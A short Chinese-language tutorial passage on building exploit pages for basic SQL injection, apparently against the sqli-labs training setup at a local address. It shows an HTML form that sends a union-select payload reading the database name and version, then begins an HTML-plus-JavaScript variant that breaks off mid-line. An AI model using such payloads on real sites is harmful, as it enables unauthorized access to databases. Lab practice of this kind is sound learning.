下面的exp都是针对最基础的sql注入利用和页面有回显的的情况
主要用下面几种方式:
html形式:
<!DOCTYPE html>
<html >
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<!-method根据实际情况选择,action属性中为提交的地址,name属性中为参数名,value属性中为注入的代码->
<form method="get" action="http://192.168.43.2:9998/Less-2">
<input type="hidden" name="id" value="0 union select 1,database(),version() --">
<input type="submit" name="利用" />
</form>
</body>
</html>
html和js结合形式:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script>
function exp() {
var a=document.getElementById("url"